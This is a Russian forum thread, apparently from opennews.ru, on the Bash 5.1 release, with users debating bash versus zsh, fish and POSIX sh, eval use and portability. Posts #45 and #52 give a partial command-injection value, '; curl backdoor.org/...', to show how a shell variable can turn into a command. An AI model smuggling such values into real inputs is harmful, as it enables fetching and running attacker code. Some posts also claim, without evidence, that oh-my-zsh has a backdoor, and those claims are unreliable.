![]() |
Пред. тема | След. тема | ||
Форум Разговоры, обсуждение новостей | |||
---|---|---|---|
Изначальное сообщение | [ Отслеживать ] |
"Релиз командного интерпретатора Bash 5.1" | +/– | ![]() |
Сообщение от opennews (?), 08-Дек-20, 12:03 | ||
После двух лет разработки опубликована новая версия командного интерпретатора GNU Bash 5.1, используемого по умолчанию в большинстве дистрибутивов Linux. Одновременно сформирован релиз библиотеки readline 8.1, применяемой в bash для организации редактирования командной строки... | ||
Ответить | Правка | Cообщить модератору |
Оглавление |
Сообщения | [Сортировка по ответам | RSS] |
1. Сообщение от MasterSlave (?), 08-Дек-20, 12:03 | –4 +/– | ![]() |
Народ, не вброса ради... Что всё-таки лучше для заурядного хомы: bash или zsh? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Ответы: #3, #4, #6, #8, #9, #10, #22, #24, #26, #34, #36, #37, #40, #44, #66, #140, #170 |
3.
Сообщение от Аноним![]() | –2 +/– | ![]() |
Мне лично нравится oh-my-zsh с плагинами. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #1 Ответы: #13 |
4. Сообщение от Отпетый Виндузятник (?), 08-Дек-20, 12:05 | –25 +/– | ![]() |
PowerShell (: ну или что там сейчас ещё для 10 сделали | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #1 Ответы: #5, #31, #35 |
5. Сообщение от Аноним (5), 08-Дек-20, 12:07 | +1 +/– | ![]() |
cmd должно хватить всем | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #4 Ответы: #11, #16, #18 |
6. Сообщение от Аноним (6), 08-Дек-20, 12:07 | +7 +/– | ![]() |
Что значит лучше? Это просто инструмент. Он либо подходит под твои задачи либо нет. Если не подходит, ищешь другой. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #1 Ответы: #39 |
8. Сообщение от Аноним (16), 08-Дек-20, 12:10 | +2 +/– | ![]() |
Зшизмы заточены на комфортный интерактив (и куча плагинов комплектом соответственно тоже) и баш на скрипты, в значительной мере избавленные внешних вызовов. Он легче зш, но некоторые поведение в частности с пайпами и его ридлайн довольно своеобразное. Вроде я столкнулся с несовместимыми отличиями в глобах, сетопт и хэштейблах, из-за чего от поддержки зш в качестве интерпретатора пришлось отказаться. А кроме того, зш есть не каждой системе, и баш есть везде, поэтому если и брать зш, то только "для души". | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #1 |
9. Сообщение от Аноним (9), 08-Дек-20, 12:12 | +8 +/– | ![]() |
bash, если у тебя больше одного компа | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #1 Ответы: #49 |
10. Сообщение от stargrave2 (?), 08-Дек-20, 12:17 | +1 +/– | ![]() |
http://www.stargrave.org/ZSH-proscons.html | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #1 |
11. Сообщение от Аноним (11), 08-Дек-20, 12:17 | +7 +/– | ![]() |
command.com | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #5 Ответы: #80 |
13. Сообщение от Аноним (13), 08-Дек-20, 12:21 | +5 +/– | ![]() |
>oh-my-backdoor | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #3 Ответы: #27, #112 |
16. Сообщение от Аноним (16), 08-Дек-20, 12:28 | +4 +/– | ![]() |
Очень многие не сидят. У большинства моих знакомых венды дома нет, многим и по работе с ней пересекаться не приходится. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #5 Ответы: #19 |
17.
Сообщение от ttakttaguri![]() | +/– | ![]() |
Во мне есть ubuntu 20.10, bash 5.0.17. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Ответы: #20, #21, #38, #48, #155 |
18. Сообщение от Аноним (18), 08-Дек-20, 12:31 | +/– | ![]() |
У меня нет окошек уже лет эдак 5 от слова совсем. До этого была XP в виртуалке для одной хитрой софтины. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #5 Ответы: #129 |
19. Сообщение от Аноним (16), 08-Дек-20, 12:31 | +/– | ![]() |
Лично у меня она есть, только в виртуалке. Нужно для работы, да и игрушечки не все пока на протоне идут. В принципе cmd.exe вполне достаточно для её скриптования, павершел же ничем не удобнее баша. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #16 Ответы: #25, #128 |
20. Сообщение от Аноним (18), 08-Дек-20, 12:32 | +17 +/– | ![]() |
Ничего. Жди обновления, не сри в систему. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #17 |
21. Сообщение от Аноним (18), 08-Дек-20, 12:32 | +1 +/– | ![]() |
Жди пакетов лучше. Либо переходи на роллинг дистры. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #17 |
22. Сообщение от Аноним (22), 08-Дек-20, 12:32 | +/– | ![]() |
Тебе скрипты писать или просто дефолтный интерпретатор? Если первое, то лучше питона или руби ты не найдёшь. Если второе — оставайся на баш и не трогай, дабы не сломалось. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #1 Ответы: #93 |
23. Сообщение от Аноним (39), 08-Дек-20, 12:36 | –1 +/– | ![]() |
> 5.1 | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Ответы: #41, #158 |
24.
Сообщение от Дмитрий П.![]() | –5 +/– | ![]() |
fish | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #1 |
25. Сообщение от заминированный тапок (ok), 08-Дек-20, 12:42 | –1 +/– | ![]() |
зато на Lutris идут гораздо больше, чем на протоне (и даже есть интеграция с коллекцией steam) | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #19 Ответы: #28 |
26.
Сообщение от nomad__![]() | +/– | ![]() |
> Что всё-таки лучше для заурядного хомы: bash или zsh? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #1 |
27. Сообщение от Аноним (27), 08-Дек-20, 12:45 | +15 +/– | ![]() |
Пруфы бэкдоров будут или опять пук анонима в лужу? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #13 Ответы: #152 |
28. Сообщение от Аноним (16), 08-Дек-20, 12:48 | +/– | ![]() |
Да не помню, когда запускал виртуалку ради игрушечек, вроде лет 5 назад. Тогда ещё dxvk никаких не было, какие-то лютые баги лезли. Но вообще, в QEMU то с проброшенной картой лучше чем с вендой на хосте работает, в dxvk всё же процентов на 10 ниже фреймрейт. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #25 Ответы: #50 |
29. Сообщение от Аноннчик (?), 08-Дек-20, 12:58 | –2 +/– | ![]() |
Чем ZSH хуже Баша? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Ответы: #30, #33 |
30. Сообщение от Аноним (30), 08-Дек-20, 13:08 | +6 +/– | ![]() |
Что же у Вас тут за собрание "лучше-хуже"? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #29 Ответы: #95 |
31. Сообщение от Аноним (145), 08-Дек-20, 13:14 | +/– | ![]() |
>ну или что там сейчас ещё для 10 сделали | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #4 |
32. Сообщение от Аноним (32), 08-Дек-20, 13:15 | +4 +/– | ![]() |
Баш вместе с линукс утилитками производительнее питона получается. И времени на код меньше уходит. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Ответы: #45, #46, #130, #159, #220 |
33. Сообщение от Ordu (ok), 08-Дек-20, 13:20 | –1 +/– | ![]() |
У zsh имя нечитаемое совершенно: "зш", ну что это? Как это читать? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #29 Ответы: #42, #78, #103 |
34. Сообщение от Аноним (34), 08-Дек-20, 13:20 | +2 +/– | ![]() |
Для скриптов bash, для командной строки fish | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #1 |
35. Сообщение от cjayho (?), 08-Дек-20, 13:22 | +1 +/– | ![]() |
ее и на венде особо не жалуют изза адских тормозов и переусложненности | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #4 |
36. Сообщение от лолшто (?), 08-Дек-20, 13:22 | +5 +/– | ![]() |
Если стратежно к вопросу подходить, то изучать следует то, что позволит твоему опыту быть более переносимым. В данном случае - это bash. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #1 Ответы: #83 |
37. Сообщение от rshadow (ok), 08-Дек-20, 13:22 | –1 +/– | ![]() |
Если коротко: bash есть из коробки на каждом сервере, zsh если настроить то будет удобнее. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #1 Ответы: #51, #84, #94 |
38. Сообщение от Аноним (145), 08-Дек-20, 13:23 | +11 +/– | ![]() |
>Во мне есть ubuntu 20.10, bash 5.0.17. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #17 Ответы: #85 |
39. Сообщение от Аноним (39), 08-Дек-20, 13:23 | +/– | ![]() |
Просто удобный молоток, а не розовая ржавая железка. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #6 |
40. Сообщение от InuYasha (??), 08-Дек-20, 13:24 | –6 +/– | ![]() |
Пользую zsh уже с десяток лет. ЕДИНСТВЕННОЕ, чего в нём мне не хватает - поддержки оператора "==". Но это только в скриптах. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #1 |
41. Сообщение от Аноним (145), 08-Дек-20, 13:25 | –2 +/– | ![]() |
Ты что, против инклюзива человеков с инвалидностью? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #23 |
42. Сообщение от InuYasha (??), 08-Дек-20, 13:25 | –2 +/– | ![]() |
Вообще все его читают как "зэ - эс - аш". | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #33 Ответы: #58 |
43. Сообщение от Аноним (43), 08-Дек-20, 13:26 | +/– | ![]() |
ребят, а где можно почитать гайды по posix-shell? ну т.е чтобы писать скрипты которые будут одинаково работать и под башем, и под zsh, и под чем угодно еще | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Ответы: #53, #87, #106, #113, #162, #172, #183, #221 |
44. Сообщение от Аноним (44), 08-Дек-20, 13:27 | +/– | ![]() |
bash.org | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #1 |
45. Сообщение от InuYasha (??), 08-Дек-20, 13:28 | –3 +/– | ![]() |
Только maximum дырявity, поскольку разделение данные-инструкции очень слабое - т.е. часто переменая может стать командой (если в неё запишут "; curl backdoor.org/...". | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #32 Ответы: #52 |
46. Сообщение от Аноним (16), 08-Дек-20, 13:36 | –4 +/– | ![]() |
До тех пор пока ты не начнёшь ежесекундно спамить тысячами процессов, да и с мультипоточностью пострадать придётся больше чем в питоне (там гил и гц мешают счастью). | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #32 Ответы: #61, #64 |
47. Сообщение от Иваня (?), 08-Дек-20, 13:38 | –4 +/– | ![]() |
крут, подскажите плз как накатить эту версию на убунту 18 :/ | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Ответы: #104, #132 |
48. Сообщение от danonimous (?), 08-Дек-20, 13:40 | –1 +/– | ![]() |
Жди ебилдов. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #17 |
49. Сообщение от Аноним (230), 08-Дек-20, 13:43 | –1 +/– | ![]() |
Какая связь? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #9 Ответы: #70 |
50. Сообщение от заминированный тапок (ok), 08-Дек-20, 13:45 | –1 +/– | ![]() |
> Да не помню, когда запускал виртуалку ради игрушечек, вроде лет 5 назад. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #28 Ответы: #56 |
51. Сообщение от Аноним (230), 08-Дек-20, 13:46 | +3 +/– | ![]() |
Не на каждом. Даже не на каждом сервере с линуксом. И bash, и zsh — это хорошо, но надо уметь пользоваться POSIX shell. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #37 Ответы: #55, #73 |
52. Сообщение от Аноним (230), 08-Дек-20, 13:49 | +2 +/– | ![]() |
> часто переменая может стать командой (если в неё запишут "; curl backdoor.org/...". | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #45 Ответы: #59, #248 |
53. Сообщение от Аноним (230), 08-Дек-20, 13:54 | +3 +/– | ![]() |
Читай стандарт, тестируй скрипты в разных шеллах (как минимум dash и ksh). Самый надёжный способ. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #43 Ответы: #54 |
54. Сообщение от Аноним (230), 08-Дек-20, 13:59 | +1 +/– | ![]() |
> книжка Кочана и Вуда | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #53 |
55. Сообщение от 1 (??), 08-Дек-20, 14:00 | –3 +/– | ![]() |
вроде в любом линаксе sh - это просто hardlink на bash | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #51 Ответы: #67, #68, #69 |
56. Сообщение от Аноним (16), 08-Дек-20, 14:02 | +/– | ![]() |
Для хоста нужна другая карта, у меня был отдельный монитор, но вроде можно и с одним как-то. KVM switch конечно самое очевидное, правда стоит денег. Самое главное, должно поддерживаться материнской платой, не все могут пробрасывать видеокарту. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #50 Ответы: #92 |
57. Сообщение от YetAnotherOnanym (ok), 08-Дек-20, 14:05 | +/– | ![]() |
Понимаю, что выгляжу ретроградом, но весь этот улучшайзинг чреват обильными матюками, если в хозяйстве имеются машины с разными версиями скорлупы. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Ответы: #62 |
58. Сообщение от Ordu (ok), 08-Дек-20, 14:05 | –1 +/– | ![]() |
> Вообще все его читают как "зэ - эс - аш". | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #42 Ответы: #71 |
59. Сообщение от Аноним (16), 08-Дек-20, 14:06 | –2 +/– | ![]() |
Зато eval нужен очень часто, и ничего ты с этим не сделаешь. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #52 Ответы: #74, #79, #107 |
61. Сообщение от Аноним (32), 08-Дек-20, 14:08 | +2 +/– | ![]() |
Для этого есть утилиты xargs и parallel, запускал больше тыщи на малине | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #46 Ответы: #63 |
62. Сообщение от Аноним (230), 08-Дек-20, 14:14 | +2 +/– | ![]() |
Бери пример с анонима выше, изучай POSIX shell. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #57 |
63. Сообщение от Аноним (16), 08-Дек-20, 14:16 | +/– | ![]() |
> Для этого есть утилиты xargs и parallel, запускал больше тыщи на малине | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #61 Ответы: #65, #265 |
64. Сообщение от Аноним (32), 08-Дек-20, 14:17 | +/– | ![]() |
Ещё бывает сами утилиты поддерживают параллельность, например sort и curl. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #46 |
65. Сообщение от Аноним (32), 08-Дек-20, 14:19 | +1 +/– | ![]() |
>Сколько тысяч процессов при этом вызывал каждый из тысячи процессов? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #63 Ответы: #72 |
66. Сообщение от abu (?), 08-Дек-20, 14:20 | +/– | ![]() |
Программисты ставят zsh на десктоп, пожалуй, это хорошо. А на сервер ... мне лично лень городить его на каждом сервере, хватает и bash'a. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #1 |
67. Сообщение от Аноним (230), 08-Дек-20, 14:20 | +4 +/– | ![]() |
Даже из мейнстримных дистров общего назначения — не в любом. В Debian-based и некоторых других это dash. Ежели дистр специализированный и урезанный, в нём может быть busybox с ash. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #55 |
68. Сообщение от Аноним (230), 08-Дек-20, 14:20 | +4 +/– | ![]() |
И не хардлинк, а симлинк, кстати. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #55 |
69. Сообщение от aa (?), 08-Дек-20, 14:24 | +1 +/– | ![]() |
нет, не в любом | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #55 |
70. Сообщение от Аноним (70), 08-Дек-20, 14:24 | +1 +/– | ![]() |
zsh нужно устанавливать самому | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #49 Ответы: #76, #82, #245 |
71. Сообщение от IRASoldier_registered (ok), 08-Дек-20, 14:26 | –4 +/– | ![]() |
>гэцэцэ | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #58 Ответы: #88, #276 |
72. Сообщение от Аноним (16), 08-Дек-20, 14:27 | +/– | ![]() |
>>Сколько тысяч процессов при этом вызывал каждый из тысячи процессов? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #65 Ответы: #135 |
73. Сообщение от Аноним (70), 08-Дек-20, 14:28 | +/– | ![]() |
нет не надо | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #51 |
74. Сообщение от Аноним (70), 08-Дек-20, 14:30 | –2 +/– | ![]() |
нет не нужен | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #59 Ответы: #75 |
75. Сообщение от Аноним (16), 08-Дек-20, 14:34 | –2 +/– | ![]() |
> нет не нужен | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #74 Ответы: #77 |
76. Сообщение от Аноним (230), 08-Дек-20, 14:39 | –4 +/– | ![]() |
И что? На один комп поставить можно, а на второй уже неподъёмная задача? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #70 Ответы: #114 |
77. Сообщение от Аноним (16), 08-Дек-20, 14:39 | –1 +/– | ![]() |
А, ещё eval на хештейблы натравливать очень удобно. Хештейблы на порядки удобней альтернатив, особенно когда у тебя неизвестно число параметров. Держать десятки списков в памяти, чтобы отказаться от хэштейблов? Ну, удачи это потом сопровождать. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #75 Ответы: #105 |
78. Сообщение от Аноним (78), 08-Дек-20, 14:41 | +1 +/– | ![]() |
Прочитайте-ка ssh, пожалуйста | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #33 Ответы: #91, #139 |
79. Сообщение от Аноним (230), 08-Дек-20, 14:42 | +3 +/– | ![]() |
> eval нужен очень часто | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #59 Ответы: #81 |
80. Сообщение от псевдонимус (?), 08-Дек-20, 14:52 | +/– | ![]() |
Батников и волков коммандер достаточно для всего:-)) | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #11 Ответы: #149, #247, #251 |
81. Сообщение от Аноним (16), 08-Дек-20, 14:52 | –2 +/– | ![]() |
Редко не редко, примерно в 1 из 10 случаев без него никак. Или как, но в 1000 раз сложнее и запутанее. Другое дело, что можно и взять питон. И использовать eval уже в нём, ахаха! Ну там ast.literal_eval есть что всё же получше. Да и в целом eval в питоне нужен примерно никогда, а вот в баше без него просто никуда. Вообще все динамические хэштейблы, массивы, переменные это всё eval будет. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #79 Ответы: #89, #134 |
82. Сообщение от псевдонимус (?), 08-Дек-20, 14:53 | –4 +/– | ![]() |
А баш сам себя устанавливает? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #70 |
83. Сообщение от псевдонимус (?), 08-Дек-20, 14:55 | +/– | ![]() |
Это sh, а не распиареный баш. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #36 Ответы: #121 |
84. Сообщение от псевдонимус (?), 08-Дек-20, 14:56 | –1 +/– | ![]() |
Нет. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #37 |
85. Сообщение от вынь любит вас во все девайсы (?), 08-Дек-20, 14:56 | +1 +/– | ![]() |
Злой на вынь+цмд.екзе | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #38 |
86. Сообщение от псевдонимус (?), 08-Дек-20, 14:59 | +4 +/– | ![]() |
Страшный сон системдунов зарелизился. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Ответы: #99, #100 |
87. Сообщение от вынь любит вас во все девайсы (?), 08-Дек-20, 15:05 | +/– | ![]() |
>> которые будут одинаково работать и под башем | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #43 Ответы: #90, #110, #122, #216 |
88. Сообщение от Ordu (ok), 08-Дек-20, 15:06 | +2 +/– | ![]() |
>>гэцэцэ | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #71 Ответы: #98, #133, #252 |
89. Сообщение от Аноним (230), 08-Дек-20, 15:07 | +/– | ![]() |
> примерно в 1 из 10 случаев без него никак | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #81 Ответы: #116 |
90. Сообщение от Аноним (230), 08-Дек-20, 15:10 | +/– | ![]() |
Смысл в этом тот, что написанный тобой скрипт должен работать независимо от того, установлен в системе (не твоей) bash или нет. Ну если ты программист, то есть. Если админ, то смысла, может быть, и нет, тебе виднее. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #87 Ответы: #96, #165 |
91. Сообщение от Ordu (ok), 08-Дек-20, 15:12 | –2 +/– | ![]() |
> Прочитайте-ка ssh, пожалуйста | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #78 Ответы: #205 |
92. Сообщение от заминированный тапок (ok), 08-Дек-20, 15:20 | –1 +/– | ![]() |
У меня всё проще, тк вывод на другой монитор не обязателен, так что можно обойтись и просто установкой VNC на гостевую ОС и пользовать его в fullscreen режиме, а картинку гнать через хоста. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #56 |
93. Сообщение от анононим (?), 08-Дек-20, 15:28 | +/– | ![]() |
xonsh | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #22 |
94. Сообщение от Аноним (94), 08-Дек-20, 15:30 | +2 +/– | ![]() |
Мне вот интересны индивидуумы, у которых всё удобно "если настроить". Небо синее, трава зелёная, если что-то настроить, оно будет удобнее. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #37 Ответы: #157 |
95. Сообщение от Аноним (94), 08-Дек-20, 15:32 | –1 +/– | ![]() |
А как же "всё познаётся в сравнении"? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #30 |
96. Сообщение от вынь любит вас во все девайсы (?), 08-Дек-20, 15:39 | +/– | ![]() |
Это понятно, насколько оно будет в итоге работать как надо, вот вопрос. Тот же баш не совместим между собой в зависимости от версии. Т.е. что лучше универсальный скрипт, возможно вызывающий проблемы или нативный баш, который можно доставить с большинстве случаев. Получается нужно учитывать зоопарк шелов и их версий, нет? А сложность скрипта и накладываемые ограничения? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #90 Ответы: #108, #120 |
97. Сообщение от Аноним12345 (?), 08-Дек-20, 15:41 | +1 +/– | ![]() |
А как же дженерики ??? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Ответы: #124 |
98. Сообщение от InuYasha (??), 08-Дек-20, 15:48 | +/– | ![]() |
> Если бы они дали ему имя "hujsgory", то тогда было бы очевиднее, | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #88 Ответы: #123, #136 |
99. Сообщение от вынь любит вас во все девайсы (?), 08-Дек-20, 15:51 | +3 +/– | ![]() |
Системда работает крайне стабильно. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #86 Ответы: #102 |
100. Сообщение от Аноним (-), 08-Дек-20, 15:54 | +7 +/– | ![]() |
>Страшный сон системдунов зарелизился. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #86 Ответы: #127 |
102. Сообщение от псевдонимус (?), 08-Дек-20, 15:56 | +1 +/– | ![]() |
> Системда работает крайне стабильно. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #99 Ответы: #109 |
103. Сообщение от Аноним (103), 08-Дек-20, 16:01 | +1 +/– | ![]() |
зи-шэл | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #33 |
104. Сообщение от Led (ok), 08-Дек-20, 16:01 | +8 +/– | ![]() |
Да ты уже и так накатил... | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #47 |
105. Сообщение от InuYasha (??), 08-Дек-20, 16:03 | –1 +/– | ![]() |
> Это от криворукости. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #77 Ответы: #115 |
106. Сообщение от InuYasha (??), 08-Дек-20, 16:04 | +2 +/– | ![]() |
http://tldp.org/LDP/Bash-Beginners-Guide/html/index.html | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #43 |
107. Сообщение от Аноним (103), 08-Дек-20, 16:05 | +/– | ![]() |
> Зато eval нужен очень часто, и ничего ты с этим не сделаешь. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #59 Ответы: #119 |
108. Сообщение от InuYasha (??), 08-Дек-20, 16:06 | +/– | ![]() |
Мой пример: на телевизоре нет bash, только sh. От линукса там практически только ядро. То же самое на андроеде, особенно в recovery. На самом деле, только в настольно-серверные Люляксы ваш баш и завезли. А больше - никуда. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #96 Ответы: #111, #138 |
109. Сообщение от вынь любит вас во все девайсы (?), 08-Дек-20, 16:11 | +2 +/– | ![]() |
Логи не изучал. Не так давно Был инцидент у заказчика, упал портал. Моя задача была быстро поднять все взад, ребут решил вопрос. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #102 Ответы: #144 |
110. Сообщение от псевдонимус (?), 08-Дек-20, 16:14 | –2 +/– | ![]() |
За башизмы нужно яйца отрывать по самую шею. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #87 Ответы: #117, #196 |
111. Сообщение от вынь любит вас во все девайсы (?), 08-Дек-20, 16:15 | +1 +/– | ![]() |
Баш он не наш, а общий. В твоем случае не логично ли на sh и написать, чисто под девайсы? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #108 |
112.
Сообщение от milinsky![]() | +1 +/– | ![]() |
https://github.com/ohmyzsh/ohmyzsh ты ведь просмотрел весь код и точно знаешь где бекдор, верно? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #13 Ответы: #118 |
113. Сообщение от samsamy4 (ok), 08-Дек-20, 16:22 | +2 +/– | ![]() |
Пиши скрипты на dash. Он максимально POSIX-совместимый. Ман у него маленький, вполне можно за пару часов освоить. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #43 Ответы: #163 |
114. Сообщение от имя (ok), 08-Дек-20, 16:26 | +5 +/– | ![]() |
Радуйся, что у тебя два «компа», а не зоопарк унаследованных серверов. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #76 Ответы: #156 |
115. Сообщение от Аноним (230), 08-Дек-20, 16:28 | +1 +/– | ![]() |
В скрипте такого не пишут, в интерактиве одной строкой — тоже. Нет, мы не поняли, зачем это может быть нужно. Но тезис о криворукости ты подтвердил. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #105 Ответы: #255 |
116. Сообщение от Аноним (16), 08-Дек-20, 16:29 | +/– | ![]() |
Да банально eval declare -A ep=($(mediainfo "${filename}" --Output='Video;%Encoded_Library_Settings%' | tr -d '[:space:]' | tr '/' ' ' | tr '(' '_' | tr ')' '_' | sed -r 's/(\S+)=(\S+)/[\1]=\2/g')) очень удобно и к чёрту переносимость. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #89 Ответы: #168, #169 |
117. Сообщение от вынь любит вас во все девайсы (?), 08-Дек-20, 16:33 | –1 +/– | ![]() |
Отрывать надо разрабу, когда происходит "опаньки" от желания угодить всем. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #110 |
118. Сообщение от NNN (??), 08-Дек-20, 16:34 | +3 +/– | ![]() |
А ты ведь просмотрел весь код и точно знаешь, что там нет бэкдоров, верно? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #112 Ответы: #125, #250 |
119. Сообщение от Аноним (16), 08-Дек-20, 16:35 | +/– | ![]() |
Но я так и не придумал, где это можно применить. Я пытался, честно. Разве что выводить имена файлов с \r. Мне кажется, ты не понимаешь, что это, и для чего. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #107 Ответы: #195 |
120. Сообщение от Аноним (230), 08-Дек-20, 16:36 | +/– | ![]() |
> универсальный скрипт, возможно вызывающий проблемы | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #96 |
121. Сообщение от лолшто (?), 08-Дек-20, 16:37 | +1 +/– | ![]() |
Кто до легковесных контейнеров доберется, тот и это поймет. | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #83 Ответы: #131 |
122. Сообщение от псевдонимус (?), 08-Дек-20, 16:41 | +/– | ![]() |
>>> которые будут одинаково работать и под башем | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #87 Ответы: #236 |
123. Сообщение от Ordu (ok), 08-Дек-20, 16:52 | +/– | ![]() |
> А нерусские обычно говорят так: https://www.youtube.com/watch?v=gGmBUfMaWMU | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
Родитель: #98 Ответы: #254 |
124. Сообщение от Ordu (ok), 08-Дек-20, 16:57 | +1 +/– | ![]() |
> А как же дженерики ??? | ||
Ответить | Правка | Наверх | Cообщить модератору | ||
